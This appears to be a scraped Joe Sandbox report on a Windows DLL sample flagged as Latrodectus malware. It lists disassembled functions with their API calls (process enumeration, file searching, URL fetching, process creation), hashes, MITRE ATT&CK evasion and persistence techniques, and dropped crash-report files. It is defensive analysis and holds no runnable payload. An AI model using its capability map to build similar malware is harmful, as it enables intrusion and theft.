NtClose.NTDLL ref: 013A6604

Strings

@, xrefs: 013A6544
0, xrefs: 013A654F

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCloseCreateInitStringUnicode
String ID: 0$@
API String ID: 2504508917-1545510068
Opcode ID: d37bebaa44e46b1ea15d6f7d7c3d0fc5b14d35d5efe591a57761ed940f6e4432
Instruction ID: f95af3020142b5ede8cd1e77bf6d8b382f6aafca44f9b225e39e65deed029248
Opcode Fuzzy Hash: d37bebaa44e46b1ea15d6f7d7c3d0fc5b14d35d5efe591a57761ed940f6e4432
Instruction Fuzzy Hash: 8F21B2B2119B858AE720DF14F45838BB7A5F7C0348F904129E6CA47AA8CBBDD549CF41

Function 013A6618 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 013A6683
NtCreateFile.NTDLL ref: 013A6700

Strings

0, xrefs: 013A666B
@, xrefs: 013A6696

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFileInitStringUnicode
String ID: 0$@
API String ID: 2498367268-1545510068
Opcode ID: 86db90e80f089865b597ac46aa5298f0e643e43c86b60b8b36283315fd73640f
Instruction ID: 3e030fe37a6f5542c5f3bdf0d936ab8b7abafef06b97c4b493804117a40d5944
Opcode Fuzzy Hash: 86db90e80f089865b597ac46aa5298f0e643e43c86b60b8b36283315fd73640f
Instruction Fuzzy Hash: C321A3721187C486E760DF54F45478BBBA5F3C43A8F90821AE2D947AA8CB7DD549CF40

Function 013A1A08 Relevance: 6.1, APIs: 4, Instructions: 113fileCOMMON

Download Yara Rule

APIs

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

FindFirstFileA.KERNEL32 ref: 013A1AC7
wsprintfA.USER32 ref: 013A1B95
FindNextFileA.KERNEL32 ref: 013A1BC2
FindClose.KERNEL32 ref: 013A1BD5

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Find$File$AllocateCloseFirstMemoryNextVirtualwsprintf
String ID:
API String ID: 65906682-0
Opcode ID: d1ba784252355b4ec867587bebd2012ce15e15866c9c91a1bf3306cc3090962b
Instruction ID: 759991389a073818ae663c8fc91dd3150b5f9e0463a66b9350106ef446eeb6b6
Opcode Fuzzy Hash: d1ba784252355b4ec867587bebd2012ce15e15866c9c91a1bf3306cc3090962b
Instruction Fuzzy Hash: A5512532219B8591DB20DB08F49039EB769FB9439CFC05225E6CE57AA8EF7CC245CB41

Function 013ADDF8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c366498ca1ad9a9211bb63a0086326fd0b490cb1db94dbea9a14e8d7dbd25069
Instruction ID: c416fbaf16e514b92abea586c072478a8086250b98d8612425497384cb98e5ce
Opcode Fuzzy Hash: c366498ca1ad9a9211bb63a0086326fd0b490cb1db94dbea9a14e8d7dbd25069
Instruction Fuzzy Hash: DFE02D97B9EBD04AD7138B781C249593F70A4B281439E81C7D784C7683D48D092CC362

Function 013ADB28 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86da818267e0aeb7143933f2154234a85ad5d5952395101d3a8200e6c23022b0
Instruction ID: d9b99f2c7095e69c9f99e2bac3e321f8aa29467d231ae527b5c350d8172cba1e
Opcode Fuzzy Hash: 86da818267e0aeb7143933f2154234a85ad5d5952395101d3a8200e6c23022b0
Instruction Fuzzy Hash: 45D05ED7DDEFD82FD323C6980C3A2582E42D6F6A097CE414DCB54637C3F08949548642

Function 013A1C38 Relevance: 15.2, APIs: 10, Instructions: 234
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 013A1C72

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

Process32First.KERNEL32 ref: 013A1CFC
Process32Next.KERNEL32 ref: 013A1D1D
Process32First.KERNEL32 ref: 013A1D49
Process32Next.KERNEL32 ref: 013A1D96
Process32First.KERNEL32 ref: 013A1DAD
wsprintfA.USER32 ref: 013A1EF0
wsprintfA.USER32 ref: 013A1F96
Process32Next.KERNEL32 ref: 013A20D3
CloseHandle.KERNEL32 ref: 013A20F0

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$FirstNext$wsprintf$AllocateCloseCreateHandleMemorySnapshotToolhelp32Virtual
String ID:
API String ID: 3605396869-0
Opcode ID: 68b86124b21e2d62a513b62a54ce886e2b41238217d58cec15ea88e8fd5f8de2
Instruction ID: 921803cf93d3fdd768f06563095c5d095bf09d75a2ff439f36cc56414a6a44db
Opcode Fuzzy Hash: 68b86124b21e2d62a513b62a54ce886e2b41238217d58cec15ea88e8fd5f8de2
Instruction Fuzzy Hash: 26C1DC72209BC599DA30DB18E4903DAB7A5FB99398FC05125D7CE43B68EF38C649CB41

Function 013A36A4 Relevance: 12.2, APIs: 8, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

Part of subcall function 013A686C: SHGetFolderPathW.SHELL32 ref: 013A689F

wsprintfW.USER32 ref: 013A37E1
wsprintfW.USER32 ref: 013A383C
wsprintfW.USER32 ref: 013A3957

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateFolderMemoryPathVirtual
String ID:
API String ID: 206084008-0
Opcode ID: ddf5fbbb4f2e1cc25b3c4c068ba6345bc1fd0bac0b7add754e8d56e7b1f893de
Instruction ID: f56813b6bc3d4ded35ba24143b00a98ad07a90ec83f6bd982a02d7edef87c727
Opcode Fuzzy Hash: ddf5fbbb4f2e1cc25b3c4c068ba6345bc1fd0bac0b7add754e8d56e7b1f893de
Instruction Fuzzy Hash: AAC11572219BC695DB60DB18F49039BB7A5FBD5398FC00126D6CE93A68EF38C108CB41

Function 013A47FC Relevance: 11.0, APIs: 7, Instructions: 467threadCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 013A4C63
wsprintfA.USER32 ref: 013A4D52
wsprintfA.USER32 ref: 013A4E79
new[].LIBCPMTD ref: 013A4F21

Part of subcall function 013A3DCC: InternetCloseHandle.WININET ref: 013A3FDF
Part of subcall function 013A3DCC: InternetCloseHandle.WININET ref: 013A3FF2

new[].LIBCPMTD ref: 013A504F
GetExitCodeThread.KERNEL32 ref: 013A526F
GetExitCodeThread.KERNEL32 ref: 013A52A8

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: wsprintf$CloseCodeExitHandleInternetThreadnew[]$AllocateMemoryVirtual
String ID:
API String ID: 511820185-0
Opcode ID: 9a53138017393b77659cbd96c37399e690dd18bef0a4d7cedef38479ed5ff6f4
Instruction ID: 26c685f9644e883385cca5bd7a7dd7df314ec9f91dd321c4a51d881d65aa40b2
Opcode Fuzzy Hash: 9a53138017393b77659cbd96c37399e690dd18bef0a4d7cedef38479ed5ff6f4
Instruction Fuzzy Hash: 3F42B272108BC58AEB70DB59E8843DAB7A4F788748F944126D6CD97B68DFBCC184CB41

Function 013A9BF4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 013A9C62
MapViewOfFile.KERNEL32 ref: 013A9C95
VirtualFree.KERNEL32 ref: 013A9D99
UnmapViewOfFile.KERNEL32 ref: 013A9DB1
CloseHandle.KERNEL32 ref: 013A9DBC

Strings

@, xrefs: 013A9C7C

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: File$View$CloseCreateFreeHandleMappingUnmapVirtual
String ID: @
API String ID: 1610889594-2766056989
Opcode ID: e555f887ff18da87b0e2439894c02dfc6696c06c2e334d7a2ec0df01d2e70b26
Instruction ID: bc237f735a206d976c60240b0a69c2dd3f32da0e62044cf509b325e0a486a83f
Opcode Fuzzy Hash: e555f887ff18da87b0e2439894c02dfc6696c06c2e334d7a2ec0df01d2e70b26
Instruction Fuzzy Hash: B1411A36218F8582DB60DB19E49039AB7A4F7C5B98F905121EB8E53FA8DF3CC584CB40

Function 013A14D8 Relevance: 7.7, APIs: 5, Instructions: 176processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 013A14FA
Process32First.KERNEL32 ref: 013A1548
wsprintfA.USER32 ref: 013A1693
wsprintfA.USER32 ref: 013A172D
Process32Next.KERNEL32 ref: 013A184F

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Process32wsprintf$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 4137211488-0
Opcode ID: 7eea74f87dacce698b870b1a2ba75b8273ec79f2ff96aa3ed2a51bf1c3b735be
Instruction ID: b2612fdd3b8bb477c935b806c8da83a7ea42c7d91c0c89b21eb3ca0d70be0203
Opcode Fuzzy Hash: 7eea74f87dacce698b870b1a2ba75b8273ec79f2ff96aa3ed2a51bf1c3b735be
Instruction Fuzzy Hash: 9191F636219BC5D6DA20DB19E48039AB7A9FB88398FD01625DBCD43B68EF39C145CF40

Function 013A75E8 Relevance: 7.6, APIs: 5, Instructions: 92networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 013A764F
InternetOpenUrlW.WININET ref: 013A768B
InternetCloseHandle.WININET ref: 013A778B
InternetCloseHandle.WININET ref: 013A779E

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen
String ID:
API String ID: 435140893-0
Opcode ID: e13d167ae56c5d6715b12e014b0a9c0a3333b75254ca4224abbfca198421a6d3
Instruction ID: 65514f0a76519c7819de22b0d6ebfbc8509df70ab18c68d0611a86832d3e78d8
Opcode Fuzzy Hash: e13d167ae56c5d6715b12e014b0a9c0a3333b75254ca4224abbfca198421a6d3
Instruction Fuzzy Hash: A541D276228A8486D760CF19F49476EB7A0F7C5B88F905015EB8A87B68DF7EC844CB44

Function 013A9A50 Relevance: 7.6, APIs: 5, Instructions: 79processCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 013A9B20
wsprintfW.USER32 ref: 013A9B72
CreateProcessW.KERNEL32 ref: 013A9BC1
CloseHandle.KERNEL32 ref: 013A9BD4
CloseHandle.KERNEL32 ref: 013A9BDF

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$CreateProcess
String ID:
API String ID: 2803068115-0
Opcode ID: 5e94fd10b78efaa95e8bd1e1d463ca9a116d3642b6ccd52b03ae319f4b617b43
Instruction ID: 1f1e322167e01d0c8c88e49d9b096049386c3e17ad0a46b04575caa6f4d02d07
Opcode Fuzzy Hash: 5e94fd10b78efaa95e8bd1e1d463ca9a116d3642b6ccd52b03ae319f4b617b43
Instruction Fuzzy Hash: EF411A72208B8596EB60CF14E4503DBB7A5FBD5398F804126D6C993E68EF7CC259CB40

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report upfilles.dll.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Latrodectus

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_964e80f5d1a5f925558a7e6299462efecb949df_9db0ef65_6fb130ca-cac1-4736-bec2-e227247d8b1e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_964e80f5d1a5f925558a7e6299462efecb949df_9db0ef65_d9b8934c-437b-450d-af46-0185962b24b1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_dc8a9dd96bb43aa654aa29aa9f464ac6a31131f_9db0ef65_7dc7f057-dc81-4d91-9caa-bd8701d223a3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_dc8a9dd96bb43aa654aa29aa9f464ac6a31131f_9db0ef65_8641b0ad-46f6-452c-a496-10d58d4ec871\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D40.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DFD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E1D.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER389A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER38DA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3919.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER459B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4619.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4648.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4656.tmp.dmp

Windows Analysis Report
upfilles.dll.dll